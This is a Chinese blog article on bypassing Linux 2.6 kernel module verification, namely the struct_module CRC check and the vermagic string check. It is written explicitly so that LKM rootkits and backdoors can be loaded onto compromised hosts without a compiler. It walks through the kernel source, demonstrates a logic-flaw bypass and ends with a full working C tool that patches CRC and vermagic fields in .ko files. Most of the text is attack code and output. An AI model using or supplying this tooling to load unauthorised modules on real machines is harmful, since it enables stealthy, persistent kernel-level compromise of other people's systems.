閱讀666 返回首頁    go 技術社區[雲棲]


突破內核模塊版本校驗機製

作者:王智通

 

 

  • 1、 為什麼要突破模塊驗證
  • 2、 內核是怎麼實現的
  • 3、 怎樣去突破
  • 4、 總結
  • 5、 參考
  • 6、 附錄

 

為什麼要突破模塊驗證

Linux內核版本很多,升級很快,2個小內核版本中內核函數的定義可能都不一樣,為了確保不一致的驅動程序導致kernel oops, 開發者加入了模塊驗證機製。它在加載內核模塊的時候對模塊進行校驗, 如果模塊與主機的一些環境不一致,就會加載不成功。 看下麵一個例子,它簡單的輸出當期係統中的模塊列表:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/list.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct module *m = &__this_module;

int print_module_test(void)
{
        struct module *mod;

        list_for_each_entry(mod, &m->list, list) {
                printk("%s\n", mod->name); 
        }
        return NULL;
}

static int list_print_init(void)
{
        printk("load list_print module.\n");

        print_module_test();

        return 0;
}

static void list_print_exit(void)
{
        printk("unload list_print module.\n");
}

module_init(list_print_init);
module_exit(list_print_exit);

我們在centos5.3環境中編譯一下:

[root@localhost list]# uname -a
Linux localhost.localdomain 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST 2009 i686 i686 i386 GNU/Linux

然後拷貝到另一台主機centos5.1xen上:

[root@localhost ~]# uname -a
Linux localhost.localdomain 2.6.18-53.el5xen #1 SMP Mon Nov 12 03:26:12 EST 2007 i686 i686 i386 GNU/Linux

用insmod加載:

[root@localhost ~]# insmod list.ko
insmod: error inserting 'list.ko': -1 Invalid module format

報錯了,在看下dmesg的信息:

[root@localhost ~]# dmesg|tail -n 1
list: disagrees about version of symbol struct_module

先不管這是什麼, 總之我們的模塊在另一台2.6.18的主機中加載失敗。 通常的做法是要在主機中對源代碼進行編譯,然後才能加載成功, 但是如果主機中缺少內核編譯環境的話, 我們rootkit就不能編譯, 也不能安裝在主機之中,這是多麼尷尬的事情:)。 沒錯, 這就是linux kernel開發的特點, 你別指望像windows驅動一樣,編譯一個驅動, 然後可以滿世界去裝_. 一些rootkit開發者拋棄了lkm類型rk的開發, 轉而去打kmem, mem的注意,像sk,moodnt這樣的rk大家都喜歡, 可以在用戶層下動態patch內核,不需要編譯環境, wget下來,install即可。 但是它也有很多缺點,比如很不穩定,而且在2.6.x後內核已經取消了kmem這個設備, mem文件也做了映射和讀寫的限製。 rk開發者沒法繼續sk的神話了。反過來, 如果我們的lkm後門不需要編譯環境,也可以達到直接insmod的目的,這是件多麼美好的事情,而且lkm後門更加穩定,還不用像sk在內核中添加了很多自己的數據結構。

內核是怎麼實現的

我們去看看內核在加載模塊的時候都幹了什麼, 或許我們可以發現點bug, 然後做點手腳,欺騙過去:) grep下dmesg裏的關鍵字, 看看它在哪個文件中:

[root@localhost linux-2.6.18]# grep -r -i 'disagrees about' kernel/
kernel/module.c:                printk("%s: disagrees about version of symbol %s\n",

2.6.18/kernel/module.c: insmod調用了sys_init_module這個係統調用, 然後進入load_module這個主函數,它解析elf格式的ko文件,然後加載到內核中:

/* Allocate and load the module: note that size of section 0 is always
   zero, and we rely on this for optional sections. */
static struct module *load_module(void __user *umod,
                                  unsigned long len,
                                  const char __user *uargs)
{
...
        if (!check_modstruct_version(sechdrs, versindex, mod)) {
                err = -ENOEXEC;
                goto free_hdr;
        }

        modmagic = get_modinfo(sechdrs, infoindex, "vermagic");
        /* This is allowed: modprobe --force will invalidate it. */
        if (!modmagic) {
                add_taint(TAINT_FORCED_MODULE);
                printk(KERN_WARNING "%s: no version magic, tainting kernel.\n",
                       mod->name);
        } else if (!same_magic(modmagic, vermagic)) {
                printk(KERN_ERR "%s: version magic '%s' should be '%s'\n",
                       mod->name, modmagic, vermagic);
                err = -ENOEXEC;
                goto free_hdr;
        }
...
}

check_modstruct_version就是用來計算模塊符號的一些crc值,不相同就會出現我們在dmesg裏看到的“disagrees about version of symbol”信息。 get_modinfo取得了內核本身的vermagic值,然後用same_magic函數和內核的vermagic去比較,不同也會使內核加載失敗。 所以在這裏,我們看到內核對模塊驗證的時候采用了2層驗證的方法:模塊crc值和vermagic檢查。

繼續跟蹤check_modstruct_version, 現在的內核默認的都開啟了CONFIG_MODVERSIONS, 如果沒有指定這個選項,函數為空,我們的目的是要在As, Centos下安裝模塊,redhat不是吃幹飯的, 當然開了MODVERSIONS選項。

static inline int check_modstruct_version(Elf_Shdr *sechdrs,
                                          unsigned int versindex,
                                          struct module *mod)
{
        const unsigned long *crc;
        struct module *owner;

        if (!__find_symbol("struct_module", &owner, &crc, 1))
                BUG();
        return check_version(sechdrs, versindex, "struct_module", mod,
                             crc);
}

find_symbol找到了struct_module這個符號的crc值,然後調用check_version去校驗:

static int check_version(Elf_Shdr *sechdrs,
                         unsigned int versindex,
                         const char *symname,
                         struct module *mod,
                         const unsigned long *crc)
{
        unsigned int i, num_versions;
        struct modversion_info *versions;

        /* Exporting module didn't supply crcs?  OK, we're already tainted. */
        if (!crc)
                return 1;

        versions = (void *) sechdrs[versindex].sh_addr;
        num_versions = sechdrs[versindex].sh_size
                / sizeof(struct modversion_info);

        for (i = 0; i < num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                printk("%s: disagrees about version of symbol %s\n",
                       mod->name, symname);
                DEBUGP("Found checksum %lX vs module %lX\n",
                       *crc, versions[i].crc);
                return 0;
        }
        /* Not in module's version table.  OK, but that taints the kernel. */
        if (!(tainted & TAINT_FORCED_MODULE)) {
                printk("%s: no version for \"%s\" found: kernel tainted.\n",
                       mod->name, symname);
                add_taint(TAINT_FORCED_MODULE);
        }
        return 1;
}

它搜尋elf的versions小節, 循環遍曆數組中的每個符號表,找到struct_module這個符號,然後去比較crc的值。現在有個疑問, versions小節是怎麼鏈接到模塊的elf文件中去的呢? 在看下編譯後的生成文件, 有一個list.mod.c

[root@localhost list]# cat list.mod.c
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section("__versions"))) = {
        { 0x89e24b9c, "struct_module" },
        { 0x1b7d4074, "printk" },
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";

MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");

這個文件是模塊在編譯的時候,調用了linux-2.6.18/scripts/modpost這個文件生成的。裏麵增加了2個小節.gnu.linkonce.this_module和versions。 versions小節的內容就是一些字符串和值組成的數組,check_version就是解析這個小節去做驗證。 這裏還有一個MODULE_INFO宏用來生成模塊的magic字符串,這個在以後的vermagic中要做驗證。

先看下vermagic的格式:

[root@localhost list]# modinfo list.ko
filename:       list.ko
author:         wzt
license:        GPL
srcversion:     26DB52D8A56205333D414B9
depends:        
vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1

這裏可以看到vermagic跟內核版本,smp,gcc版本,內核堆棧大小都有關。

/* First part is kernel version, which we ignore. */
static inline int same_magic(const char *amagic, const char *bmagic)
{
        amagic += strcspn(amagic, " ");
        bmagic += strcspn(bmagic, " ");
        return strcmp(amagic, bmagic) == 0;
}

same_magic忽略了對內核版本的判斷, 直接比較後麵的值。

怎樣去突破

知道了內核是怎麼實現的了, 下麵開始想辦法繞過這些驗證:)

怎麼突破crc驗證

 

在仔細看下代碼:

        for (i = 0; i < num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                printk("%s: disagrees about version of symbol %s\n",
                       mod->name, symname);
                DEBUGP("Found checksum %lX vs module %lX\n",
                       *crc, versions[i].crc);
                return 0;
        }
        /* Not in module's version table.  OK, but that taints the kernel. */
        if (!(tainted & TAINT_FORCED_MODULE)) {
                printk("%s: no version for \"%s\" found: kernel tainted.\n",
                       mod->name, symname);
                add_taint(TAINT_FORCED_MODULE);
        }
        return 1;

check_version在循環中隻是在尋找struct_module符號, 如果沒找到呢? 它會直接返回1! 沒錯, 這是一個邏輯bug,在正常情況下,module必會有一個struct_module的符號, 這是modpost生成的。如果我們修改elf文件,把struct_module這個符號改名,豈不是就可以繞過crc驗證了嗎? 先做個實驗看下:

.mod.c是由modpost這個工具生成的, 它在linux-2.6.18/scripts/Makefile.modpost文件中被調用, 去看下:

PHONY += __modpost
__modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
        $(call cmd,modpost)

我們用一個很土的方法, 就是在編譯模塊的時候,modpost生成.mod.c文件後, 暫停下編譯,sleep 30秒吧,我們用

這個時間去改寫下.mod.c, 把struct_module換個名字。

PHONY += __modpost
__modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
        $(call cmd,modpost)
        @sleep 30

隨便將struct_module改個名:

[root@localhost list]# cat list.mod.c
#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section("__versions"))) = {
        { 0x89e24b9c, "stauct_module" },
        { 0x1b7d4074, "printk" },
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";

MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");

我們是在centos5.3下編譯的, 然後拷貝到centos5.1下, 在執行下insmod看下:

[root@localhost ~]# insmod list.ko
[root@localhost ~]# dmesg|tail
ata_piix
libata
sd_mod
scsi_mod
ext3
jbd
ehci_hcd
ohci_hcd
uhci_hcd

成功了! 這跟我們預期的一樣, 我們用這個邏輯bug繞過了模塊的crc驗證! 這個bug直到2.6.31版本中才得到修正。 我們可以用這種方法在redhat主機中任意安裝模塊了。 那麼怎樣繞過在2.6.31以後的內核呢? 看下它是怎麼修補的:

        for (i = 0; i < num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                DEBUGP("Found checksum %lX vs module %lX\n",
                       *crc, versions[i].crc);
                goto bad_version;
        }

        printk(KERN_WARNING "%s: no symbol version for %s\n",
               mod->name, symname);
        return 0;

bad_version:
        printk("%s: disagrees about version of symbol %s\n",
               mod->name, symname);

        return 0;

如果沒找到struct_module也會返回0, 這樣我們就必須將struct_module的值改為正確後, 才能繼續安裝。如何找到模塊符號的crc值呢? 我們可以去找目標主機中那些已被係統加載的模塊的crc值,如ext3文件係統的模塊, 自己寫個程序去解析elf文件, 就可以得到某些符號的crc值了。 還有沒有更簡單的方法呢?去/boot目錄下看看,symvers-2.6.18-128.el5.gz貌似和crc有關,gunzip解壓後看看:

[root@localhost boot]# grep 'struct_module' symvers-2.6.18-128.el5 
0x89e24b9c      struct_module   vmlinux EXPORT_SYMBOL

原來內核中所有符號的crc值都保存在這個文件中。如何改寫struct_module的值呢,可以用上麵那個土方法, 或者自己寫程序去解析elf文件, 然後改寫其值。本文最後附上一個小程序用來修改elf的符號和crc值。

如何突破vermagic驗證

如果我們用list.mod.c中的做法, 用MODULE_INFO宏來生成一個與目標主機相同的vermagic呢? 答案是否定的,gcc鏈接的時候會把modinfo小節鏈接在最後,加載模塊的時候還是會讀取第一個.modinfo小節。我們可以用上麵那種很土的方法, 先用modinfo命令得到目標主機中某個模塊的信息:

[root@localhost list]# modinfo /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
filename:       /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
license:        GPL
description:    Second Extended Filesystem with journaling extensions
author:         Remy Card, Stephen Tweedie, Andrew Morton, Andreas Dilger, Theodore Ts'o and others
srcversion:     B048AC103E5034604A721C5
depends:        jbd
vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1
module_sig:     883f3504977495e4f3f897cd3dced211288209f551cc1da557f96ea18d9a4efd6cfb0fc2612e009c8845fd776c825d586f492ceab19e17b2319da8f

然後在用那個很土的方麵, 將.mod.c中vermagic值進行修改。還有一種直接修改elf文件的方法,附錄在本文後麵。

總結

前麵有一點沒有提到, 就是某些內核版本的相同接口的函數代碼可能已經變化, 這樣在使用這項技術的時候, 最好在同一個大內核版本使用。你也可能感覺要想跨平台安裝模塊有些麻煩, 這裏還有2個方法, 作為一個專業搞滲透的人來說,他會自己在本地裝很多發行版本的linux,特別是root掉一台主機後,會在本地裝一個一模一樣的發行版本,smp、kernel stack size、gcc version都一樣。在本地機器裝上開發環境,這樣編譯出來的模塊也是可以直接裝到目標主機上的,但這很麻煩,因為linux有太多的發行版本了:), 另一個方法就是自己裝一個linux,編譯下內核,然後將build後的開發包集成到自己的後門裏, 壓縮後大概幾m。 然後傳到主機去解壓,編譯。慶幸的是,現在大多數主機中都有內核開發環境, 直接去主機編譯就ok了。

參考

  • 1、 linux kernel source code

​https://www.kernel.org

  • 2、 module injection in 2.6 kernel – Coolq

​https://www.nsfocus.net/index.php?act=magazine&do=view&mid=2533

附錄

/*
 * Linux kernel module fucker
 *
 * by wzt       <wzt.wzt@gmail.com>
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define MODULE_NAME_LEN         (64 - sizeof(unsigned long))

struct modversion_info
{
        unsigned long crc;
        char name[MODULE_NAME_LEN];
};

Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr = NULL;
Elf32_Shdr *shdr = NULL;
Elf32_Shdr *shstrtab = NULL;
Elf32_Sym *dynsym_ptr = NULL;
Elf32_Sym *symtab_ptr = NULL;
Elf32_Sym *dynstr_ptr = NULL;

char *Real_strtab = NULL;
char *dynstr = NULL;
char *strtab_ptr = NULL;
char dynstr_buffer[2048];    
char strtab_buffer[4096]; 
char *real_strtab = NULL;

unsigned int shstrtab_off, shstrtab_len, shstrtab_num;
unsigned int strtab_off, strtab_size;

int elf_fd;
struct stat f_stat;

void usage(char *pro)
{
        fprintf(stderr, "usage: %s <options> <module>\n\n", pro);
        fprintf(stderr, "-w -v\tCheck vermgaic in module.\n");
        fprintf(stderr, "-w -c\tCheck crc value in module.\n");
        fprintf(stderr, "-s -v <new_vermagic>\tSet vermagic in module.\n");
        fprintf(stderr, "-s -c\tSet crc value in module.\n");

        exit(0);
}

int init_load_elf(char *elf_file)
{
        char buff[1024];

        elf_fd = open(elf_file, O_RDWR);
        if (elf_fd == -1) {
                perror("open");
                return 0;
        }
        fprintf(stderr, "[+] Open %s ok.\n", elf_file);

        if (fstat(elf_fd, &f_stat) == -1) {
                perror("fstat");
                return 0;
        }

        ehdr = (Elf32_Ehdr *)mmap(NULL, f_stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, elf_fd, 0);
        if(ehdr == MAP_FAILED) {
                perror("mmap");
                return 0;
        }

        phdr = (Elf32_Phdr *)((unsigned long)ehdr + ehdr->e_phoff);
        shdr = (Elf32_Shdr *)((unsigned long)ehdr + ehdr->e_shoff);

        shstrtab = &shdr[ehdr->e_shstrndx];
        shstrtab_off = (unsigned int)shstrtab->sh_offset;
        shstrtab_len = shstrtab->sh_size;

        real_strtab = (char *)( (unsigned long)ehdr + shstrtab_off );

        printf("[+] .Shstrtab Size :0x%x,%d\n", shstrtab->sh_size, shstrtab->sh_name);
        printf("[+] .Shstrtab Off: 0x%x\n", shstrtab_off);

        return 1;
}

int display_module_crc_info(void)
{
        struct modversion_info *versions;
        char *buff = NULL;
        unsigned int version_off, version_size, num_versions;
        int i, j;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, "[-] Malloc failed.\n");
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,"__versions")){
                        printf("[+] found section %s.\n", buff + shdr[i].sh_name);
                        version_off = (unsigned int)shdr[i].sh_offset;
                        version_size = (unsigned int)shdr[i].sh_size;
                        printf("[+] version off: 0x%x\n", version_off);
                        printf("[+] version size: 0x%x\n", version_size);
                        break;
                }
        }

        printf("[+] %x,%x\n", (unsigned long)ehdr + version_off, shdr[i].sh_addr);
        versions = (void *)((unsigned long)ehdr + version_off);
        num_versions = version_size / sizeof(struct modversion_info);
        printf("[+] num_versions: %d\n", num_versions);

        for (j = 0; j < num_versions; j++) {
                printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
        }

        free(buff);
        return 1;
}

int set_module_crc_info(void)
{
        struct modversion_info *versions;
        char *buff = NULL;
        unsigned int version_off, version_size, num_versions;
        int i, j;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, "[-] Malloc failed.\n");
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,"__versions")){
                        printf("[+] found section %s.\n", buff + shdr[i].sh_name);
                        version_off = (unsigned int)shdr[i].sh_offset;
                        version_size = (unsigned int)shdr[i].sh_size;
                        printf("[+] version off: 0x%x\n", version_off);
                        printf("[+] version size: 0x%x\n", version_size);
                        break;
                }
        }

        printf("[+] %x,%x\n", (unsigned long)ehdr + version_off, shdr[i].sh_addr);
        versions = (void *)((unsigned long)ehdr + version_off);
        num_versions = version_size / sizeof(struct modversion_info);
        printf("[+] num_versions: %d\n", num_versions);

        for (j = 0; j < num_versions; j++) {
                printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
                if (!strcmp(versions[j].name, "struct_module")) {
                        fprintf(stderr, "[+] Found symbol struct_module.\n");
                        versions[j].name[0] = 'T';
                        break;
                }
        }

        for (j = 0; j < num_versions; j++) {
                printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc);
        }

        free(buff);
        return 1;
}

static char *next_string(char *string, unsigned long *secsize)
{
        /* Skip non-zero chars */
        while (string[0]) {
                string++;
                if ((*secsize)-- <= 1)
                        return NULL;
        }

        /* Skip any zero padding. */
        while (!string[0]) {
                string++;
                if ((*secsize)-- <= 1)
                        return NULL;
        }
        return string;
}

static char *get_modinfo(Elf32_Shdr *sechdrs, unsigned int info, const char *tag)
{
        char *p;
        unsigned int taglen = strlen(tag);
        unsigned long size = sechdrs[info].sh_size;

        for (p = (char *)(ehdr +sechdrs[info].sh_offset); p; p = next_string(p, &size)) {
                if (strncmp(p, tag, taglen) == 0 && p[taglen] == '=')
                        return p + taglen + 1;
        }
        return NULL;
}

int display_module_vermagic_info(void)
{
        char *buff, *p;
        char *ver = "vermagic";
        unsigned int taglen = strlen(ver);
        int size, i;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, "[-] Malloc failed.\n");
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,".modinfo")){
                        printf("[+] found section %s.\n", buff + shdr[i].sh_name);
                        break;
                }
        }

        size = shdr[i].sh_size;
        printf("[+] size: 0x%x.\n", size);

        p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
        printf("[+] 0x%08x\n", p);

        for (; p; p = next_string(p, &size)) {
                printf("[+] %s\n", p);
                if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') {
                        printf("[+] %s\n", p + taglen + 1);
                        //memset(p + taglen + 1, 'A', 30);
                }
        }

        return 1;
}

int set_module_vermagic_info(char *new_vermagic)
{
        char *buff, *p;
        char *ver = "vermagic";
        unsigned int taglen = strlen(ver);
        int size, i;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, "[-] Malloc failed.\n");
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i < (int)ehdr->e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,".modinfo")){
                        printf("[+] found section %s.\n", buff + shdr[i].sh_name);
                        break;
                }
        }

        size = shdr[i].sh_size;
        printf("[+] size: 0x%x.\n", size);

        p = (char *)((unsigned long)ehdr + shdr[i].sh_offset);
        printf("[+] 0x%08x\n", p);

        for (; p; p = next_string(p, &size)) {
                printf("[+] %s\n", p);
                if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') {
                        printf("[+] %s\n", p + taglen + 1);
                        if (strlen(p + taglen + 1) < strlen(new_vermagic)) {
                                printf("[-] New vermagic len must < current magic len.\n");
                                return 0;
                        }
                        memset(p + taglen + 1, '\0', strlen(new_vermagic));
                        memcpy(p + taglen + 1, new_vermagic, strlen(new_vermagic));
                }
        }

        return 1;
}

int exit_elf_load(void)
{
        close(elf_fd);
        if (munmap(ehdr, f_stat.st_size) == -1) {
                return 0;
        }

        return 1;
}

int main(int argc, char **argv)
{
        if (argc == 1) {
                usage(argv[0]);
        }

        if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-c")) {
                fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]);
                if (!init_load_elf(argv[3])) {
                        fprintf(stderr, "[-] Init elf load failed.\n");
                        return 0;
                }
                display_module_crc_info();
                exit_elf_load();
        }
        else if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-c")) {
                fprintf(stderr, "[+] Set %s module crc value.\n", argv[3]);
                if (!init_load_elf(argv[3])) {
                        fprintf(stderr, "[-] Init elf load failed.\n");
                        return 0;
                }
                set_module_crc_info();
                exit_elf_load();
        }
        if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-v")) {
                fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]);
                if (!init_load_elf(argv[3])) {
                        fprintf(stderr, "[-] Init elf load failed.\n");
                        return 0;
                }
                display_module_vermagic_info();
                exit_elf_load();
        }
        if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-v")) {
                fprintf(stderr, "[+] Display %s module crc value.\n", argv[4]);
                if (!init_load_elf(argv[4])) {
                        fprintf(stderr, "[-] Init elf load failed.\n");
                        return 0;
                }
                set_module_vermagic_info(argv[3]);
                exit_elf_load();
        }
        else {
                return 0;
        }

}

最後更新:2017-04-03 07:57:06

  上一篇:go RESTful API 設計指南
  下一篇:go 雲計算與GigaSpaces